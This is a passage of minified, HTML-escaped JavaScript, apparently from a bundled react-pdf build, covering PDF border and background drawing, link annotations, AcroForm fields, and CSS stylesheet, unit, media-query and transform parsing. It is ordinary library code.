R=n*(1-_i);if(e.bezierCurveTo(o+R,s+c,o,s+c-R,o,s+c-n),e.closePath(),e.clip(),h){const T=-h/u;e.moveTo(o+l/2,T*(l/2)+s+c),e.lineTo(o,s+c),e.lineTo(o,s),e.lineTo(o+l,s),e.closePath(),e.clip()}if(h){const T=-d/u;e.moveTo(o+l/2,T*(-l/2)+s),e.lineTo(o,s),e.lineTo(o,s+c),e.lineTo(o+l,s+c),e.closePath(),e.clip()}},BBe=(e,t,r,n,i)=&gt;{const{top:s,left:o,height:l}=t,{borderLeftColor:c,borderLeftStyle:d,borderLeftWidth:u,borderTopWidth:h,borderBottomWidth:p}=r,A=n*(1-_i),y=i*(1-_i);e.moveTo(o+n,s+l),e.bezierCurveTo(o+A,s+l,o,s+l-A,o,s+l-n),e.lineTo(o,s+i),e.bezierCurveTo(o,s+y,o+y,s,o+i,s),e.strokeColor(c),e.lineWidth(Math.max(u,h,p)*2),d===&quot;dashed&quot;?e.dash(u*2,{space:u*1.2}):d===&quot;dotted&quot;&amp;&amp;e.dash(u,{space:u*1.2}),e.stroke(),e.undash()},kBe=e=&gt;e.box&amp;&amp;(e.box.borderTopWidth||e.box.borderRightWidth||e.box.borderBottomWidth||e.box.borderLeftWidth),_Be=(e,t)=&gt;{if(!t.box||!kBe(t))return;const{width:r,height:n,borderTopWidth:i=0,borderLeftWidth:s=0,borderRightWidth:o=0,borderBottomWidth:l=0}=t.box,{opacity:c=1,borderTopColor:d=&quot;black&quot;,borderTopStyle:u=&quot;solid&quot;,borderLeftColor:h=&quot;black&quot;,borderLeftStyle:p=&quot;solid&quot;,borderRightColor:A=&quot;black&quot;,borderRightStyle:y=&quot;solid&quot;,borderBottomColor:v=&quot;black&quot;,borderBottomStyle:w=&quot;solid&quot;}=t.style,j=t.style.borderTopLeftRadius||0,E=t.style.borderTopRightRadius||0,S=t.style.borderBottomLeftRadius||0,_=t.style.borderBottomRightRadius||0,C={borderTopColor:d,borderTopWidth:i,borderTopStyle:u,borderLeftColor:h,borderLeftWidth:s,borderLeftStyle:p,borderRightColor:A,borderRightWidth:o,borderRightStyle:y,borderBottomColor:v,borderBottomWidth:l,borderBottomStyle:w},Q=Math.min(E,.5*r,.5*n),R=Math.min(j,.5*r,.5*n),T=Math.min(_,.5*r,.5*n),M=Math.min(S,.5*r,.5*n);e.save(),e.strokeOpacity(c),i&amp;&amp;(e.save(),wBe(e,t.box,C,Q,R),EBe(e,t.box,C,Q,R),e.restore()),o&amp;&amp;(e.save(),CBe(e,t.box,C,Q,T),IBe(e,t.box,C,Q,T),e.restore()),l&amp;&amp;(e.save(),jBe(e,t.box,C,M,T),NBe(e,t.box,C,M,T),e.restore()),s&amp;&amp;(e.save(),SBe(e,t.box,C,M,R),BBe(e,t.box,C,M,R),e.restore()),e.restore()},DBe=(e,t)=&gt;{if(!t.box)return;const{top:r,left:n,width:i,height:s}=t.box,o=f8(t.style.backgroundColor),l=Oa(t.style?.opacity)?1:t.style.opacity,c=Math.min(o.opacity,l);e.fillOpacity(c).fillColor(o.value).rect(n,r,i,s).fill()},TBe=(e,t)=&gt;{t.box&amp;&amp;t.style?.backgroundColor&amp;&amp;(e.save(),_E(e,t),DBe(e,t),e.restore())},gQ=e=&gt;typeof e==&quot;string&quot;,RBe=e=&gt;/^#.+/.test(e),AQ=(e,t,r)=&gt;{if(!r||!t.box)return;const n=RBe(r),i=n?&quot;goTo&quot;:&quot;link&quot;,s=n?r.slice(1):r,{top:o,left:l,width:c,height:d}=t.box;e[i](l,o,c,d,s)},PBe=(e,t)=&gt;{const r=t.props||{};if(&quot;src&quot;in r&amp;&amp;gQ(r.src))return AQ(e,t,r.src);if(&quot;href&quot;in r&amp;&amp;gQ(r.href))return AQ(e,t,r.href)},QBe=(e,t)=&gt;{t.box&amp;&amp;t.props&amp;&amp;&quot;id&quot;in t.props&amp;&amp;e.addNamedDestination(t.props.id,&quot;XYZ&quot;,null,t.box.top,null)},h8=e=&gt;{const t={...e};return Object.entries(t).forEach(r=&gt;{r[1]||delete t[r[0]]}),t},m8=e=&gt;({required:e.props?.required||!1,noExport:e.props?.noExport||!1,readOnly:e.props?.readOnly||!1,value:e.props?.value||void 0,defaultValue:e.props?.defaultValue||void 0}),FBe=(e,t)=&gt;h8({...m8(e),parent:t||void 0,align:e.props?.align||&quot;left&quot;,multiline:e.props?.multiline||void 0,password:e.props?.password||!1,noSpell:e.props?.noSpell||!1,format:e.props?.format||void 0,fontSize:e.props?.fontSize||void 0,MaxLen:e.props?.maxLength||void 0}),vW=e=&gt;h8({...m8(e),sort:e.props?.sort||!1,edit:e.props?.edit||!1,multiSelect:e.props?.multiSelect||!1,noSpell:e.props?.noSpell||!1,select:e.props?.select||[&quot;&quot;]}),xQ=(e,t,r,n)=&gt;{const i=e.ref({Type:&quot;XObject&quot;,Subtype:&quot;Form&quot;,BBox:[0,0,r,n],Resources:{ProcSet:[&quot;PDF&quot;,&quot;Text&quot;,&quot;ImageB&quot;,&quot;ImageC&quot;,&quot;ImageI&quot;],Font:{ZaDi:e._acroform.fonts.ZaDi}}});return i.initDeflate(),i.write(`/Tx BMC
q
/ZaDi ${n*.8} Tf
BT
${r*.45} ${n/4} Td (${t}) Tj
ET
Q
EMC`),i.end(null),i},OBe=(e,t,r)=&gt;{const{width:n,height:i}=t.box||{},s=t.props?.onState||&quot;Yes&quot;,o=t.props?.offState||&quot;Off&quot;,l=t.props?.xMark||!1;if(!Object.prototype.hasOwnProperty.call(e._acroform.fonts,&quot;ZaDi&quot;)){const d=e.ref({Type:&quot;Font&quot;,Subtype:&quot;Type1&quot;,BaseFont:&quot;ZapfDingbats&quot;});e._acroform.fonts.ZaDi=d,d.end(null)}const c={[s]:xQ(e,l?&quot;8&quot;:&quot;4&quot;,n,i),[o]:xQ(e,l?&quot; &quot;:&quot;8&quot;,n,i)};return h8({...m8(t),backgroundColor:t.props?.backgroundColor||void 0,borderColor:t.props?.borderColor||void 0,parent:r||void 0,value:`/${t.props?.checked===!0?s:o}`,defaultValue:`/${t.props?.checked===!0?s:o}`,AS:t.props?.checked===!0?s:o,AP:{N:c,D:c}})},LBe=(e,t,r)=&gt;{if(!t.box)return;const{top:n,left:i,width:s,height:o}=t.box,l=t.props?.name||&quot;&quot;,c=r.fieldSets?.at(0);e._root.data.AcroForm||e.initForm(),e.formText(l,i,n,s,o,FBe(t,c))},MBe=(e,t)=&gt;{if(!t.box)return;const{top:r,left:n,width:i,height:s}=t.box,o=t.props?.name||&quot;&quot;;e._root.data.AcroForm||e.initForm(),e.formCombo(o,n,r,i,s,vW(t))},UBe=(e,t,r)=&gt;{const n=t.props?.name||&quot;&quot;;e._root.data.AcroForm||e.initForm();const i=e.formField(n),s=r;s.fieldSets?s.fieldSets.push(i):s.fieldSets=[i]},zBe=(e,t,r)=&gt;{r.fieldSets.pop()},$Be=(e,t)=&gt;{if(!t.box)return;const{top:r,left:n,width:i,height:s}=t.box||{},o=&quot;name&quot;in t.props&amp;&amp;t.props.name||&quot;&quot;;e._root.data.AcroForm||e.initForm(),e.formList(o,n,r,i,s,vW(t))},HBe=(e,t,r)=&gt;{if(!t.box)return;const{top:n,left:i,width:s,height:o}=t.box,l=t.props?.name||&quot;&quot;,c=r.fieldSets?.at(0);e._root.data.AcroForm||e.initForm(),e.formCheckbox(l,i,n,s,o,OBe(e,t,c))},qBe=e=&gt;e.type!==rr&amp;&amp;e.type!==qm,GBe=(e,t,r)=&gt;{e.save(),t.box&amp;&amp;e.translate(t.box.left,t.box.top);const n=t.children||[],i=s=&gt;yW(e,s,r);n.forEach(i),e.restore()},VBe={[rr]:eBe,[YS]:rBe,[Gm]:cBe,[fH]:UBe,[Gpe]:LBe,[Vpe]:MBe,[Wpe]:HBe,[Kpe]:$Be,[JS]:bBe,[qm]:HSe,[KS]:PBe},WBe={[fH]:zBe},yW=(e,t,r)=&gt;{const n=t.style?.overflow===&quot;hidden&quot;,i=qBe(t);t.type===H4&amp;&amp;tBe(e,t),e.save(),n&amp;&amp;_E(e,t),fW(e,t),TBe(e,t),_Be(e,t);const s=VBe[t.type];s&amp;&amp;s(e,t,r),i&amp;&amp;GBe(e,t,r);const o=WBe[t.type];o&amp;&amp;o(e,t,r),QBe(e,t),xBe(e,t),e.restore()},bW=(e,t,r,n)=&gt;{if(t.box&amp;&amp;t.props){if(&quot;bookmark&quot;in t.props&amp;&amp;t.props.bookmark){const i=t.props.bookmark,{title:s,parent:o,expanded:l,zoom:c,fit:d}=i,u=n[o]||e.outline,h=i.top||t.box.top,p=i.left||t.box.left,A=u.addItem(s,{pageNumber:r,expanded:l,top:h,left:p,zoom:c,fit:d});n[i.ref]=A}t.children&amp;&amp;t.children.forEach(i=&gt;bW(e,i,r,n))}},KBe=(e,t)=&gt;{const r={};(t.children||[]).forEach((i,s)=&gt;{bW(e,i,s,r)})},YBe=(e,t)=&gt;{const r=t.children||[],n={imageCache:new Map,fieldSets:[]};return r.forEach(i=&gt;yW(e,i,n)),KBe(e,t),e.end(),e};var u3,vQ;function ZBe(){if(vQ)return u3;vQ=1;function e(s){this.value=s,this.match=function(o){return this.value&gt;=o.height}}function t(s){this.value=s,this.match=function(o){return this.value&lt;o.height}}function r(s){this.value=s,this.match=function(o){return this.value&gt;=o.width}}function n(s){this.value=s,this.match=function(o){return this.value&lt;o.width}}function i(s){this.value=s,this.match=function(o){return this.value===o.orientation}}return u3=function(o,l){switch(o){case&quot;max-height&quot;:return new e(l);case&quot;min-height&quot;:return new t(l);case&quot;max-width&quot;:return new r(l);case&quot;min-width&quot;:return new n(l);case&quot;orientation&quot;:return new i(l);default:throw new Error(l)}},u3}var d3,yQ;function JBe(){if(yQ)return d3;yQ=1;function e(r,n){this.left=r,this.right=n,this.match=function(i){return r.match(i)&amp;&amp;n.match(i)}}function t(r,n){this.left=r,this.right=n,this.match=function(i){return r.match(i)||n.match(i)}}return d3=function(n,i,s){switch(n){case&quot;and&quot;:return new e(i,s);case&quot;,&quot;:return new t(i,s);default:throw new Error(value)}},d3}var f3,bQ;function XBe(){if(bQ)return f3;bQ=1;var e=ZBe(),t=JBe(),r=/[0-9]/,n=/[a-z|\-]/i,i=/\s/,s=/:/,o=/,/,l=/and$/,c=/@/;function d(h){for(var p=0,A=[];p&lt;h.length;){var y=h[p];if(c.test(y))for(y=h[++p];n.test(y)&amp;&amp;y!==void 0;)y=h[++p];if(i.test(y)||y===&quot;)&quot;||y===&quot;(&quot;){p++;continue}if(s.test(y)||o.test(y)){p++,A.push({type:&quot;operator&quot;,value:y});continue}if(r.test(y)){for(var v=&quot;&quot;;r.test(y);)v+=y,y=h[++p];A.push({type:&quot;number&quot;,value:v});continue}if(n.test(y)){for(var v=&quot;&quot;;n.test(y)&amp;&amp;y!==void 0;)v+=y,y=h[++p];l.test(v)?A.push({type:&quot;operator&quot;,value:v}):A.push({type:&quot;literal&quot;,value:v});continue}throw new TypeError(&quot;Tokenizer: I dont know what this character is: &quot;+y)}return A}function u(h){for(var p=[],A=[];h.length&gt;0;){var y=h.shift();if(y.type===&quot;number&quot;||y.type===&quot;literal&quot;){p.push(y);continue}if(y.type===&quot;operator&quot;){if(s.test(y.value)){y={type:&quot;query&quot;,key:p.pop(),value:h.shift()},p.push(y);continue}for(;A.length&gt;0;)p.unshift(A.pop());A.push(y)}}for(;A.length&gt;0;)p.unshift(A.pop());function v(){var w=p.shift();if(w.type===&quot;number&quot;)return parseInt(w.value);if(w.type===&quot;literal&quot;)return w.value;if(w.type===&quot;operator&quot;){var j=v(),E=v();return t(w.value,j,E)}if(w.type===&quot;query&quot;){var j=w.key.value,E=w.value.value;return e(j,E)}}return v()}return f3={parse:function(h){var p=d(h),A=u(p);return A}},f3}var h3,wQ;function e8e(){if(wQ)return h3;wQ=1;var e=XBe();return h3=function(t,r){var n={};return Object.keys(t).forEach(function(i){e.parse(i).match(r)&amp;&amp;Object.assign(n,t[i])}),n},h3}var t8e=e8e();const r8e=ma(t8e);var m3,EQ;function n8e(){if(EQ)return m3;EQ=1;var e=function(t,r,n){if(t==null)return[0,0,0];var i=(1-Math.abs(2*n-1))*r,s=t/60,o=i*(1-Math.abs(s%2-1));s=Math.floor(s);var l,c,d;s===0?(l=i,c=o,d=0):s===1?(l=o,c=i,d=0):s===2?(l=0,c=i,d=o):s===3?(l=0,c=o,d=i):s===4?(l=o,c=0,d=i):s===5&amp;&amp;(l=i,c=0,d=o);var u=n-i/2;return l+=u,c+=u,d+=u,[Math.abs(Math.round(l*255)),Math.abs(Math.round(c*255)),Math.abs(Math.round(d*255))]};return m3=e,m3}var p3,CQ;function i8e(){if(CQ)return p3;CQ=1;var e=n8e();function t(s,o){return s&gt;o?o:s}function r(s,o){return s&lt;o?o:s}function n(s){for(s=t(s,1e7),s=r(s,-1e7);s&lt;0;)s+=360;for(;s&gt;359;)s-=360;return s}function i(s,o,l){s=n(s),o=r(t(o,100),0),l=r(t(l,100),0),o/=100,l/=100;var c=e(s,o,l);return&quot;#&quot;+c.map(function(d){return(256+d).toString(16).substr(-2)}).join(&quot;&quot;)}return p3=i,p3}var a8e=i8e();const s8e=ma(a8e);var g3,IQ;function o8e(){if(IQ)return g3;IQ=1;var e=40,t=41,r=39,n=34,i=92,s=47,o=44,l=58,c=42,d=117,u=85,h=43,p=/^[a-f0-9?-]+$/i;return g3=function(A){for(var y=[],v=A,w,j,E,S,_,C,Q,R,T=0,M=v.charCodeAt(T),O=v.length,$=[{nodes:y}],P=0,L,X=&quot;&quot;,W=&quot;&quot;,G=&quot;&quot;;T&lt;O;)if(M&lt;=32){w=T;do w+=1,M=v.charCodeAt(w);while(M&lt;=32);S=v.slice(T,w),E=y[y.length-1],M===t&amp;&amp;P?G=S:E&amp;&amp;E.type===&quot;div&quot;?(E.after=S,E.sourceEndIndex+=S.length):M===o||M===l||M===s&amp;&amp;v.charCodeAt(w+1)!==c&amp;&amp;(!L||L&amp;&amp;L.type===&quot;function&quot;&amp;&amp;L.value!==&quot;calc&quot;)?W=S:y.push({type:&quot;space&quot;,sourceIndex:T,sourceEndIndex:w,value:S}),T=w}else if(M===r||M===n){w=T,j=M===r?&quot;&#039;&quot;:&#039;&quot;&#039;,S={type:&quot;string&quot;,sourceIndex:T,quote:j};do if(_=!1,w=v.indexOf(j,w+1),~w)for(C=w;v.charCodeAt(C-1)===i;)C-=1,_=!_;else v+=j,w=v.length-1,S.unclosed=!0;while(_);S.value=v.slice(T+1,w),S.sourceEndIndex=S.unclosed?w:w+1,y.push(S),T=w+1,M=v.charCodeAt(T)}else if(M===s&amp;&amp;v.charCodeAt(T+1)===c)w=v.indexOf(&quot;*/&quot;,T),S={type:&quot;comment&quot;,sourceIndex:T,sourceEndIndex:w+2},w===-1&amp;&amp;(S.unclosed=!0,w=v.length,S.sourceEndIndex=w),S.value=v.slice(T+2,w),y.push(S),T=w+2,M=v.charCodeAt(T);else if((M===s||M===c)&amp;&amp;L&amp;&amp;L.type===&quot;function&quot;&amp;&amp;L.value===&quot;calc&quot;)S=v[T],y.push({type:&quot;word&quot;,sourceIndex:T-W.length,sourceEndIndex:T+S.length,value:S}),T+=1,M=v.charCodeAt(T);else if(M===s||M===o||M===l)S=v[T],y.push({type:&quot;div&quot;,sourceIndex:T-W.length,sourceEndIndex:T+S.length,value:S,before:W,after:&quot;&quot;}),W=&quot;&quot;,T+=1,M=v.charCodeAt(T);else if(e===M){w=T;do w+=1,M=v.charCodeAt(w);while(M&lt;=32);if(R=T,S={type:&quot;function&quot;,sourceIndex:T-X.length,value:X,before:v.slice(R+1,w)},T=w,X===&quot;url&quot;&amp;&amp;M!==r&amp;&amp;M!==n){w-=1;do if(_=!1,w=v.indexOf(&quot;)&quot;,w+1),~w)for(C=w;v.charCodeAt(C-1)===i;)C-=1,_=!_;else v+=&quot;)&quot;,w=v.length-1,S.unclosed=!0;while(_);Q=w;do Q-=1,M=v.charCodeAt(Q);while(M&lt;=32);R&lt;Q?(T!==Q+1?S.nodes=[{type:&quot;word&quot;,sourceIndex:T,sourceEndIndex:Q+1,value:v.slice(T,Q+1)}]:S.nodes=[],S.unclosed&amp;&amp;Q+1!==w?(S.after=&quot;&quot;,S.nodes.push({type:&quot;space&quot;,sourceIndex:Q+1,sourceEndIndex:w,value:v.slice(Q+1,w)})):(S.after=v.slice(Q+1,w),S.sourceEndIndex=w)):(S.after=&quot;&quot;,S.nodes=[]),T=w+1,S.sourceEndIndex=S.unclosed?w:T,M=v.charCodeAt(T),y.push(S)}else P+=1,S.after=&quot;&quot;,S.sourceEndIndex=T+1,y.push(S),$.push(S),y=S.nodes=[],L=S;X=&quot;&quot;}else if(t===M&amp;&amp;P)T+=1,M=v.charCodeAt(T),L.after=G,L.sourceEndIndex+=G.length,G=&quot;&quot;,P-=1,$[$.length-1].sourceEndIndex=T,$.pop(),L=$[P],y=L.nodes;else{w=T;do M===i&amp;&amp;(w+=1),w+=1,M=v.charCodeAt(w);while(w&lt;O&amp;&amp;!(M&lt;=32||M===r||M===n||M===o||M===l||M===s||M===e||M===c&amp;&amp;L&amp;&amp;L.type===&quot;function&quot;&amp;&amp;L.value===&quot;calc&quot;||M===s&amp;&amp;L.type===&quot;function&quot;&amp;&amp;L.value===&quot;calc&quot;||M===t&amp;&amp;P));S=v.slice(T,w),e===M?X=S:(d===S.charCodeAt(0)||u===S.charCodeAt(0))&amp;&amp;h===S.charCodeAt(1)&amp;&amp;p.test(S.slice(2))?y.push({type:&quot;unicode-range&quot;,sourceIndex:T,sourceEndIndex:w,value:S}):y.push({type:&quot;word&quot;,sourceIndex:T,sourceEndIndex:w,value:S}),T=w}for(T=$.length-1;T;T-=1)$[T].unclosed=!0,$[T].sourceEndIndex=v.length;return $[0].nodes},g3}var l8e=o8e();const c8e=ma(l8e);var A3,jQ;function u8e(){if(jQ)return A3;jQ=1;var e=45,t=43,r=46,n=101,i=69;function s(o){var l=o.charCodeAt(0),c;if(l===t||l===e){if(c=o.charCodeAt(1),c&gt;=48&amp;&amp;c&lt;=57)return!0;var d=o.charCodeAt(2);return c===r&amp;&amp;d&gt;=48&amp;&amp;d&lt;=57}return l===r?(c=o.charCodeAt(1),c&gt;=48&amp;&amp;c&lt;=57):l&gt;=48&amp;&amp;l&lt;=57}return A3=function(o){var l=0,c=o.length,d,u,h;if(c===0||!s(o))return!1;for(d=o.charCodeAt(l),(d===t||d===e)&amp;&amp;l++;l&lt;c&amp;&amp;(d=o.charCodeAt(l),!(d&lt;48||d&gt;57));)l+=1;if(d=o.charCodeAt(l),u=o.charCodeAt(l+1),d===r&amp;&amp;u&gt;=48&amp;&amp;u&lt;=57)for(l+=2;l&lt;c&amp;&amp;(d=o.charCodeAt(l),!(d&lt;48||d&gt;57));)l+=1;if(d=o.charCodeAt(l),u=o.charCodeAt(l+1),h=o.charCodeAt(l+2),(d===n||d===i)&amp;&amp;(u&gt;=48&amp;&amp;u&lt;=57||(u===t||u===e)&amp;&amp;h&gt;=48&amp;&amp;h&lt;=57))for(l+=u===t||u===e?3:2;l&lt;c&amp;&amp;(d=o.charCodeAt(l),!(d&lt;48||d&gt;57));)l+=1;return{number:o.slice(0,l),unit:o.slice(l)}},A3}var d8e=u8e();const f8e=ma(d8e),h8e=e=&gt;e.filter(Boolean),m8e=e=&gt;e.reduce((t,r)=&gt;{const n=Array.isArray(r)?p8(r):r;return Object.keys(n).forEach(i=&gt;{n[i]!==null&amp;&amp;n[i]!==void 0&amp;&amp;(t[i]=n[i])}),t},{}),p8=Nc(m8e,h8e,BE),p8e=(e,t)=&gt;Object.keys(t).reduce((r,n)=&gt;/@media/.test(n)?{...r,...r8e({[n]:t[n]},e)}:{...r,[n]:t[n]},{}),g8e=e=&gt;/rgba?/g.test(e),A8e=e=&gt;/hsla?/g.test(e),x8e=e=&gt;{const t=Fv.get.rgb(e);return Fv.to.hex(t)},v8e=e=&gt;{const t=Fv.get.hsl(e).map(Math.round);return s8e(...t).toUpperCase()},rv=e=&gt;g8e(e)?x8e(e):A8e(e)?v8e(e):e,y8e=e=&gt;{if(typeof e==&quot;number&quot;)return{value:e,unit:void 0};const t=/^(-?\d*\.?\d+)(in|mm|cm|pt|vh|vw|px|rem)?$/g.exec(e);return t?{value:parseFloat(t[1]),unit:t[2]||&quot;pt&quot;}:{value:e,unit:void 0}},To=(e,t)=&gt;{const r=y8e(t),n=72,i=e.dpi||72,s=1/25.4*n,o=1/2.54*n;if(typeof r.value!=&quot;number&quot;)return r.value;switch(r.unit){case&quot;rem&quot;:return r.value*(e.remBase||18);case&quot;in&quot;:return r.value*n;case&quot;mm&quot;:return r.value*s;case&quot;cm&quot;:return r.value*o;case&quot;vh&quot;:return r.value*(e.height/100);case&quot;vw&quot;:return r.value*(e.width/100);case&quot;px&quot;:return Math.round(r.value*(n/i));default:return r.value}},Om=(e,t)=&gt;({[e]:Cs(t)}),Ya=(e,t,r)=&gt;({[e]:To(r,t)}),Gf=(e,t)=&gt;({[e]:rv(t)}),yi=(e,t)=&gt;({[e]:t}),b8e=/(-?\d+(\.\d+)?(in|mm|cm|pt|vw|vh|px|rem)?)\s(\S+)\s(.+)/,w8e=e=&gt;e.match(b8e)||[],Ff=(e,t,r)=&gt;{const n=w8e(`${t}`);if(n){const i=n[1]||t,s=n[4]||t,o=n[5]||t,l=s,c=o?rv(o):void 0,d=i?To(r,i):void 0;if(e.match(/(Top|Right|Bottom|Left)$/))return{[`${e}Color`]:c,[`${e}Style`]:l,[`${e}Width`]:d};if(e.match(/Color$/))return{borderTopColor:c,borderRightColor:c,borderBottomColor:c,borderLeftColor:c};if(e.match(/Style$/)){if(typeof l==&quot;number&quot;)throw new Error(`Invalid border style: ${l}`);return{borderTopStyle:l,borderRightStyle:l,borderBottomStyle:l,borderLeftStyle:l}}if(e.match(/Width$/)){if(typeof d!=&quot;number&quot;)throw new Error(`Invalid border width: ${d}`);return{borderTopWidth:d,borderRightWidth:d,borderBottomWidth:d,borderLeftWidth:d}}if(e.match(/Radius$/)){const u=t?To(r,t):void 0;if(typeof u!=&quot;number&quot;)throw new Error(`Invalid border radius: ${u}`);return{borderTopLeftRadius:u,borderTopRightRadius:u,borderBottomRightRadius:u,borderBottomLeftRadius:u}}if(typeof d!=&quot;number&quot;)throw new Error(`Invalid border width: ${d}`);if(typeof l==&quot;number&quot;)throw new Error(`Invalid border style: ${l}`);return{borderTopColor:c,borderTopStyle:l,borderTopWidth:d,borderRightColor:c,borderRightStyle:l,borderRightWidth:d,borderBottomColor:c,borderBottomStyle:l,borderBottomWidth:d,borderLeftColor:c,borderLeftStyle:l,borderLeftWidth:d}}return{[e]:t}},E8e={border:Ff,borderBottom:Ff,borderBottomColor:Gf,borderBottomLeftRadius:Ya,borderBottomRightRadius:Ya,borderBottomStyle:yi,borderBottomWidth:Ya,borderColor:Ff,borderLeft:Ff,borderLeftColor:Gf,borderLeftStyle:yi,borderLeftWidth:Ya,borderRadius:Ff,borderRight:Ff,borderRightColor:Gf,borderRightStyle:yi,borderRightWidth:Ya,borderStyle:Ff,borderTop:Ff,borderTopColor:Gf,borderTopLeftRadius:Ya,borderTopRightRadius:Ya,borderTopStyle:yi,borderTopWidth:Ya,borderWidth:Ff},C8e={backgroundColor:Gf,color:Gf,opacity:Om},I8e={height:Ya,maxHeight:Ya,maxWidth:Ya,minHeight:Ya,minWidth:Ya,width:Ya},j8e=[1,1,0],N8e=[1,1,&quot;auto&quot;],S8e=(e,t,r)=&gt;{let n=j8e,i=[];t===&quot;auto&quot;?n=N8e:i=`${t}`.split(&quot; &quot;);const s=Cs(i[0]||n[0]),o=Cs(i[1]||n[1]),l=To(r,i[2]||n[2]);return{flexGrow:s,flexShrink:o,flexBasis:l}},B8e={alignContent:yi,alignItems:yi,alignSelf:yi,flex:S8e,flexBasis:Ya,flexDirection:yi,flexFlow:yi,flexGrow:Om,flexShrink:Om,flexWrap:yi,justifyContent:yi,justifySelf:yi},k8e=(e,t,r)=&gt;{const n=`${t}`.split(&quot; &quot;),i=To(r,n?.[0]||t),s=To(r,n?.[1]||t);return{rowGap:i,columnGap:s}},_8e={gap:k8e,columnGap:Ya,rowGap:Ya},D8e={aspectRatio:Om,bottom:Ya,display:yi,left:Ya,position:yi,right:Ya,top:Ya,overflow:yi,zIndex:Om},T8e=&quot;px,in,mm,cm,pt,%,vw,vh&quot;,x3=(e,t)=&gt;{const r=e.toString();console.error(`
    @react-pdf/stylesheet parsing error:
    ${r}: ${t},
    ${&quot; &quot;.repeat(r.length+2)}^
    Unsupported ${r} value format
  `)},Zm=({expandsTo:e,maxValues:t=1,autoSupported:r=!1}={})=&gt;(n,i,s)=&gt;{const o=c8e(`${i}`),l=[];for(let d=0;d&lt;o.length;d++){const u=o[d];if(u.type===&quot;function&quot;||u.type===&quot;string&quot;||u.type===&quot;div&quot;)return x3(n,i),{};if(u.type===&quot;word&quot;)if(u.value===&quot;auto&quot;&amp;&amp;r)l.push(u.value);else{const h=f8e(u.value);if(h&amp;&amp;T8e.includes(h.unit))l.push(u.value);else return x3(n,i),{}}}if(l.length&gt;t)return x3(n,i),{};const c=To(s,l[0]);if(e){const d=To(s,l[1]||l[0]),u=To(s,l[2]||l[0]),h=To(s,l[3]||l[1]||l[0]);return e({first:c,second:d,third:u,fourth:h})}return{[n]:c}},R8e=Zm({expandsTo:({first:e,second:t,third:r,fourth:n})=&gt;({marginTop:e,marginRight:t,marginBottom:r,marginLeft:n}),maxValues:4,autoSupported:!0}),P8e=Zm({expandsTo:({first:e,second:t})=&gt;({marginTop:e,marginBottom:t}),maxValues:2,autoSupported:!0}),Q8e=Zm({expandsTo:({first:e,second:t})=&gt;({marginRight:e,marginLeft:t}),maxValues:2,autoSupported:!0}),Ib=Zm({autoSupported:!0}),F8e={margin:R8e,marginBottom:Ib,marginHorizontal:Q8e,marginLeft:Ib,marginRight:Ib,marginTop:Ib,marginVertical:P8e},O8e=Zm({expandsTo:({first:e,second:t,third:r,fourth:n})=&gt;({paddingTop:e,paddingRight:t,paddingBottom:r,paddingLeft:n}),maxValues:4}),L8e=Zm({expandsTo:({first:e,second:t})=&gt;({paddingTop:e,paddingBottom:t}),maxValues:2}),M8e=Zm({expandsTo:({first:e,second:t})=&gt;({paddingRight:e,paddingLeft:t}),maxValues:2}),jb=Zm(),U8e={padding:O8e,paddingBottom:jb,paddingHorizontal:M8e,paddingLeft:jb,paddingRight:jb,paddingTop:jb,paddingVertical:L8e},I1=e=&gt;{switch(e){case&quot;top&quot;:case&quot;left&quot;:return&quot;0%&quot;;case&quot;right&quot;:case&quot;bottom&quot;:return&quot;100%&quot;;case&quot;center&quot;:return&quot;50%&quot;;default:return e}},z8e=(e,t,r)=&gt;{const n=`${t}`.split(&quot; &quot;),i=I1(To(r,n?.[0]||t)),s=I1(To(r,n?.[1]||t));return{objectPositionX:i,objectPositionY:s}},NQ=(e,t,r)=&gt;({[e]:I1(To(r,t))}),$8e={objectPosition:z8e,objectPositionX:NQ,objectPositionY:NQ,objectFit:yi},H8e=e=&gt;typeof e==&quot;number&quot;?e:parseInt(e,10),v3={thin:100,hairline:100,ultralight:200,extralight:200,light:300,normal:400,medium:500,semibold:600,demibold:600,bold:700,ultrabold:800,extrabold:800,heavy:900,black:900},q8e=e=&gt;{if(!e)return v3.normal;if(typeof e==&quot;number&quot;)return e;const t=e.toLowerCase();return v3[t]?v3[t]:H8e(e)},G8e=(e,t)=&gt;({[e]:q8e(t)}),V8e=(e,t,r)=&gt;{if(e===&quot;&quot;)return e;const n=To(r,t.fontSize||18),i=To(r,e),{percent:s}=Po(i)||{};return s?s*n:isNaN(e)?i:i*n},W8e=(e,t,r,n)=&gt;({[e]:V8e(t,n,r)}),K8e={direction:yi,fontFamily:yi,fontSize:Ya,fontStyle:yi,fontWeight:G8e,letterSpacing:Ya,lineHeight:W8e,maxLines:Om,textAlign:yi,textDecoration:yi,textDecorationColor:Gf,textDecorationStyle:yi,textIndent:yi,textOverflow:yi,textTransform:yi,verticalAlign:yi},Y8e=e=&gt;typeof e==&quot;string&quot;&amp;&amp;/^-?\d*\.?\d*$/.test(e),XN=e=&gt;typeof e!=&quot;string&quot;?e:Y8e(e)?parseFloat(e):e,Z8e=e=&gt;{const t=e.trim().split(/\)[ ,]|\)/);if(t.length===1)return[[t[0],!0]];const r=[];for(let n=0;n&lt;t.length;n+=1){const i=t[n];if(i){const[s,o]=i.split(&quot;(&quot;),l=o.indexOf(&quot;,&quot;)&gt;=0?&quot;,&quot;:&quot; &quot;,c=o.split(l).map(d=&gt;d.trim());r.push({operation:s.trim(),value:c})}}return r},Nb=e=&gt;{const t=/(-?\d*\.?\d*)(\w*)?/i,[,r,n]=t.exec(e),i=Number.parseFloat(r);return n===&quot;rad&quot;?i*180/Math.PI:i},J8e=({operation:e,value:t})=&gt;{switch(e){case&quot;scale&quot;:{const[r,n=r]=t.map(i=&gt;Number.parseFloat(i));return{operation:&quot;scale&quot;,value:[r,n]}}case&quot;scaleX&quot;:return{operation:&quot;scale&quot;,value:[Number.parseFloat(t),1]};case&quot;scaleY&quot;:return{operation:&quot;scale&quot;,value:[1,Number.parseFloat(t)]};case&quot;rotate&quot;:return{operation:&quot;rotate&quot;,value:[Nb(t)]};case&quot;translate&quot;:return{operation:&quot;translate&quot;,value:t.map(r=&gt;Number.parseFloat(r))};case&quot;translateX&quot;:return{operation:&quot;translate&quot;,value:[Number.parseFloat(t),0]};case&quot;translateY&quot;:return{operation:&quot;translate&quot;,value:[0,Number.parseFloat(t)]};case&quot;skew&quot;:return{operation:&quot;skew&quot;,value:t.map(Nb)};case&quot;skewX&quot;:return{operation:&quot;skew&quot;,value:[Nb(t),0]};case&quot;skewY&quot;:return{operation:&quot;skew&quot;,value:[0,Nb(t)]};default:return{operation:e,v